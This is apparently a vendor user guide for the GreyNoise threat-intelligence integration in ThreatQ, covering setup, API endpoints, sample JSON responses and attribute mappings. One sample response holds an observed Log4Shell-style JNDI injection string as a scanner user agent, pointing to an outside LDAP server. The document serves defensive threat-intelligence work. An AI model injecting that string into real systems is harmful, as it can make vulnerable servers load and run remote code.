

ThreatQuotient



GreyNoise CDF User Guide

Version 1.5.1

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ThreatQuotient

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Support Email: support@threatq.com

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Integration Details

ThreatQuotient provides the following details for this integration:

Current Integration Version	1.5.1
Compatible with ThreatQ Versions	>= 4.58.0
Support Tier	ThreatQ Supported

Introduction

GreyNoise collects, analyzes, and labels data on IPs that saturate security tools with noise. This unique perspective helps analysts waste less time on irrelevant or harmless activity, and spend more time focused on targeted and emerging threats.

The GreyNoise CDF provides the following feeds:

- **GreyNoise** - ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.
- **GreyNoise Enrichment** - queries GreyNoise with IP Addresses from a Threat Collection and enriches those IP Addresses with the data that it ingests.

The following system object types are ingested by the integration:

- Indicators
 - Indicator Attributes
- Tags

Installation

Perform the following steps to install the integration:



The same steps can be used to upgrade the integration to a new version.

1. Log into <https://marketplace.threatq.com/>.
2. Locate and download the integration file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the integration file using one of the following methods:
 - Drag and drop the file into the dialog box
 - Select **Click to Browse** to locate the integration file on your local machine



ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

6. If prompted, select the individual feeds to install and click **Install**. The feed will be added to the integrations page.

You will still need to [configure and then enable](#) the feed.

Configuration



ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).
3. Click on the integration entry to open its details page.
4. Enter the following parameters under the **Configuration** tab:

PARAMETER	DESCRIPTION
API Token	Your GreyNoise API Token.
GNQL Query (GreyNoise feed only)	ThreatQuotient highly recommends utilizing this parameter to narrow down the ingested dataset. The field allows you to specify query arguments other than <code>last_seen</code> field, which is the default. See the https://docs.greynoise.io/reference/gnqlquery-1 documentation for instructions on how to build a GNQL query.
Data Collection Hash (Enrichment feed only)	The hash of the Data Collection to be enriched. This hash can be found in your Threat Library after loading the Data Collection. The hash will be in the browser's URL. Example: <code>https:// /threat-library#38d08c87b6e81a37a8591444f8c5dba5</code>
Last Seen Time Range (GreyNoise feed only)	The date the device was most recently observed by GreyNoise. You can use the keyword <code>today</code> or <code>1d</code> to specify how many days to go back.
Attribute Filter	Select the pieces of context, attributes and tags, to ingest into the platform.
Items per Page	he number of items to return per page from the GreyNoise API.

PARAMETER	DESCRIPTION
(GreyNoise feed only)	 You should lower this value if you are encountering 400 errors when running the feed.

5. Review any additional settings, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

GreyNoise

The GreyNoise feed ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.

GET <https://api.greynoise.io/v2/experimental/gnql>

Sample Response:

```
{
  "complete": false,
  "count": 23178,
  "data": [
    {
      "ip": "114.25.66.87",
      "seen": true,
      "classification": "malicious",
      "first_seen": "2019-07-28",
      "last_seen": "2019-07-28",
      "actor": "CRAZY PANDA23",
      "tags": [
        "SMB Scanner",
        "Eternalblue"
      ],
      "metadata": {
        "country": "Taiwan, Province of China",
        "country_code": "TW",
        "city": "Nankang",
        "organization": "Data Communication Business Group",
        "rdns": "114-25-66-87.dynamic-ip.hinet.net",
        "asn": "AS3462",
        "tor": false,
        "os": "Windows 7/8",
        "category": "isp",
        "region": "Brussels Capital"
      },
      "raw_data": {
        "scan": [
          {
            "port": 445,
            "protocol": "TCP"
          }
        ],
        "web": {
          "paths": [
            "/",
            "/bootstrap/3.3.6/css/bootstrap.min.css"
          ],
          "useragents": [
            "Hello, world",
            "${jndi:ldap://179.43.175.101:1389/gm7unt}"
          ]
        },
        "ja3": []
      },
      "cve": [
        "CVE-2016-6277",

```

```

      "CVE-2016-6563"
    ],
    "bot": true,
    "vpn": true,
    "vpn_service": "Express VPN",
    "spoofable": true
  }
],
"message": "ok",
"query": "classification:malicious AND last_seen:today",
"scroll":
"FGluY2x1ZGVfY29udGV4dF91dWlkDnF1ZXJ5VGhlbkZldGNoBRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjRN3AAAAAAuCRswSjRhYklq
MGPvRlctSkpCMllyS3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAsLldcWVVBucXpfcnhRU2E3QTNaWG1SWlBzURZhUTg4
NDExS1FpYXhvcTNTdVktMm93AAAAAAjYxu0WMk85akRMUnlTZ3EwWmxDYzRtSnJDQRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjRN3AAAA
AAuCRs0WSjRhYklqMGPvRlctSkpCMllyS3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAsLldgWVVBucXpfcnhRU2E3QTNa
WG1SWlBzUQ=="
}

```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].ip</code>	Related Indicator.Value	IP Address	<code>.data[].first_seen</code>	114.25.66.87	N/A
<code>.data[].actor</code>	Indicator.Attribute	Actor	<code>.data[].first_seen</code>	CRAZY PANDA	If this is 'unknown', it will be ignored
<code>.data[].cve[]</code>	Indicator.Attribute	N/A	<code>.data[].first_seen</code>	CVE-2016-6277	N/A
<code>.data[].tags[]</code>	Indicator.Tags	N/A	<code>.data[].first_seen</code>	Eternalblue	N/A
<code>.data[].classification</code>	Indicator.Attribute	Classification	<code>.data[].first_seen</code>	malicious	N/A
<code>.data[].meta data.country</code>	Indicator.Attribute	Country	<code>.data[].first_seen</code>	Taiwan, Province of China	N/A
<code>.data[].meta data.country_code</code>	Indicator.Attribute	Country Code	<code>.data[].first_seen</code>	TW	N/A
<code>.data[].meta data.city</code>	Indicator.Attribute	City	<code>.data[].first_seen</code>	Nankang	N/A
<code>.data[].meta data.region</code>	Indicator.Attribute	Region	<code>.data[].first_seen</code>	Brussels Capital	N/A
<code>.data[].meta data.organization</code>	Indicator.Attribute	Organization	<code>.data[].first_seen</code>	Data Communication Business Group	N/A
<code>.data[].meta data.asn</code>	Indicator.Attribute	ASN	<code>.data[].first_seen</code>	AS3462	N/A
<code>.data[].meta data.tor</code>	Indicator.Attribute	Is Tor	<code>.data[].first_seen</code>	true/false	This is converted to a Yes/No attribute value
<code>.data[].meta data.os</code>	Indicator.Attribute	Operating System	<code>.data[].first_seen</code>	Windows 7/8	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
.data[].meta data.rdns	Indicator.Attribute	FQDN	.data[].first _seen	114-25-66-87.dynamic- ip.hinet.net	N/A
.data[].meta data. category	Indicator.Attribute	Category	.data[].first _seen	isp	N/A
.data[].raw_ data.web. paths[]	Indicator.Attribute	Scanned Path	.data[].first _seen	/bootstrap/3.3.6/css/ bootstrap.min.css	N/A
.data[].bot	Indicator.Attribute	Is Bot	.data[].first _seen	Yes	Boolean -> Yes/No
.data[].vpn	Indicator.Attribute	Is VPN	.data[].first _seen	Yes	Boolean -> Yes/No
.data[].spoofable	Indicator.Attribute	Is Spoofable	.data[].first _seen	Yes	Boolean -> Yes/No
.data[].vpn_ service	Indicator.Attribute	VPN Service	.data[].first _seen	Express VPN	N/A
.data[].raw_ data. scan.port[]	Indicator.Attribute	Scanned Port	.data[].first _seen	445	N/A
.data[].tags []	Indicator.Attribute	Malware Family	.data[].first _seen	Mirai	N/A

GreyNoise Enrichment (Feed)

The GreyNoise Enrichment feed enriches IP Addresses from a given Threat Collection with information from GreyNoise.

POST <https://api.greynoise.io/v2/noise/multi/quick>

If the response has `"noise": true`, then proceed to use the Context API endpoint on the IP Address.

If the response has `"riot": true`, then proceed to use the RIOT API endpoint on the IP Address.

Sample Response:

```
[
  {
    "ip": "186.33.111.236",
    "noise": true,
    "riot": false,
    "code": "0x01"
  },
  {
    "ip": "8.8.8.8",
    "noise": false,
    "riot": true,
    "code": "0x09"
  }
]
```

Context

POST <https://api.greynoise.io/v2/noise/multi/context>

Sample Response:

```
{
  "data": [
    {
      "found": false,
      "ip": "186.3.111.236",
      "first_seen": "",
      "last_seen": "",
      "seen": false,
      "tags": null,
      "actor": "",
      "spoofable": false,
      "classification": "",
      "cve": null,
      "bot": false,
      "vpn": false,
      "vpn_service": "",
      "metadata": {
```

```

    "asn": "",
    "city": "",
    "country": "",
    "country_code": "",
    "organization": "",
    "category": "",
    "tor": false,
    "rdns": "",
    "os": ""
  },
  "raw_data": {
    "scan": [],
    "web": {},
    "ja3": [],
    "hassh": []
  }
},
],
"message": "ok",
"results": 1
}

```

Riot

GET <https://api.greynoise.io/v2/riot/{{value.ip}}>

Sample Response:

```

{
  "ip": "8.8.8.8",
  "riot": true,
  "category": "public_dns",
  "name": "Google Public DNS",
  "description": "Google's global domain name system (DNS) resolution service.",
  "explanation": "Public DNS services are used as alternatives to ISP's name servers. You may see devices on your network communicating with Google Public DNS over port 53/TCP or 53/UDP to resolve DNS lookups.",
  "last_updated": "2021-11-24T19:42:13Z",
  "logo_url": "https://upload.wikimedia.org/wikipedia/commons/2/2f/Google_2015_logo.svg",
  "reference": "https://developers.google.com/speed/public-dns/docs/isp#alternative",
  "trust_level": "1"
}

```

Table Mapping

ThreatQ provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].ip</code>	Related Indicator.Value	IP Address	<code>data[].first_seen</code>	114.25.66.87	N/A
<code>.data[].actor</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	CRAZY PANDA	If this is 'unknown', it will be ignored
<code>.data[].tags[]</code>	Indicator.Tags	N/A	N/A	Eternalblue	The data path is a list of tags
<code>.data[].classification</code>	Indicator.Attribute	Classification	<code>data[].first_seen</code>	malicious	For this feed, this will always be 'malicious'
<code>.data[].cve[]</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	N/A	N/A
<code>.data[].metadata.rdns</code>	Indicator.Attribute	FQDN	<code>data[].first_seen</code>	114-25-66-87.dynamic-ip.hinet.net	N/A
<code>.data[].metadata.country</code>	Indicator.Attribute	Country	<code>data[].first_seen</code>	Taiwan, Province of China	N/A
<code>.data[].metadata.country_code</code>	Indicator.Attribute	Country Code	<code>data[].first_seen</code>	TW	N/A
<code>.data[].metadata.city</code>	Indicator.Attribute	City	<code>data[].first_seen</code>	Nankang	N/A
<code>.data[].metadata.organization</code>	Indicator.Attribute	Organization	<code>data[].first_seen</code>	Data Communication Business Group	N/A
<code>.data[].metadata.asn</code>	Indicator.Attribute	ASN	<code>data[].first_seen</code>	AS3462	N/A
<code>.data[].metadata.tor</code>	Indicator.Attribute	Is Tor	<code>data[].first_seen</code>	true/false	This is converted to a yes/no
<code>.data[].metadata.os</code>	Indicator.Attribute	Operating System	<code>data[].first_seen</code>	Windows 7/8	N/A
<code>.data[].metadata.category</code>	Indicator.Attribute	Category	<code>data[].first_seen</code>	isp	N/A
<code>.data[].raw_data.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	N/A
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>data[].first_seen</code>	Express VPN	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].name</code>	Indicator.Attribute	Name	<code>data[].first_seen</code>	Google Public DNS	N/A
<code>.data[].code</code>	Indicator.Attribute	Noise Code	<code>data[].first_seen</code>	This IP was found in RIOT	N/A
<code>.data[].trust_level</code>	Indicator.Attribute	Trust Level	<code>data[].first_seen</code>	Trustworthy	N/A
<code>.data[].reference</code>	Indicator.Attribute	Reference	<code>data[].first_seen</code>	https://developers.google.com/speed/public-dns/docs/isp#alternative	N/A
<code>.data[].explanation</code>	Indicator.Attribute	Explanation	<code>data[].first_seen</code>	Public DNS services are used as alternatives to ISP's name servers...	N/A
<code>.data[].description</code>	Indicator.Attribute	Description	<code>data[].first_seen</code>	Google's global domain name system (DNS) resolution service.	N/A
<code>.data[].tags[]</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	Mirai	N/A

Average Feed Run



Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

GreyNoise

METRIC	RESULT
Run Time	1 minute
Indicators	1,186
Indicator Attributes	25,097

GreyNoise Enrichment

METRIC	RESULT
Run Time	1 minute
Indicators	80
Indicator Attributes	8,191

Known Issues / Limitations

- The current implementation of Greynoise feed will not prevent the timeout errors from occurring, but it will minimize them. Also, should the error occur, the integration will still ingest the information it has received up to that point. Users should include as many limiting search parameters as they can in order to prevent any timeout errors they might encounter from the Greynoise API.

Change Log

- **Version 1.5.1**
 - Added the GreyNoise feed back into the integration.
 - The **user agent** has been updated to be unique for each feed.
- **Version 1.5.0**
 - Added configuration field, **Attribute Filter**, that allows you to select which context is ingested into the ThreatQ platform.
 - Resolved an issue where certain attributes would only be ingested if the **vpn** attribute existed.
 - Lowered the default limit parameter to prevent hitting pagination scroll ID timeouts. The parameter is now configurable from the configuration page: **Items per Page**.
 - Updated the minimum ThreatQ version to 4.58.0.
 - Fixed typo for the rDNS attribute (was RDSN)
 - Removed Greynoise feed due to Greynoise limitations regarding large data ingestion
- **Version 1.4.0**
 - Improved integration performance by saving CVE, Malware, RDNS, and ASN as attributes.
 - Removed the **Ingest CVEs** parameter from the configuration page.
- **Version 1.3.0**
 - Fixed a filter error with the GreyNoise Enrichment feed that would occur when GreyNoise did not return any enrichment data.
 - Added a manual run option for the GreyNoise Enrichment feed.
- **Version 1.2.0**
 - Added new GreyNoise Enrichment feed.
 - Add new user configuration fields for GreyNoise feed.
- **Version 1.1.0**
 - Added new user field.
 - Added published date to all attributes.
 - Added tags.
- **Version 1.0.1**
 - Limited the number of ingested **paths** attributes to 9000 to improve integration performance.
- **Version 1.0.0**
 - Initial Release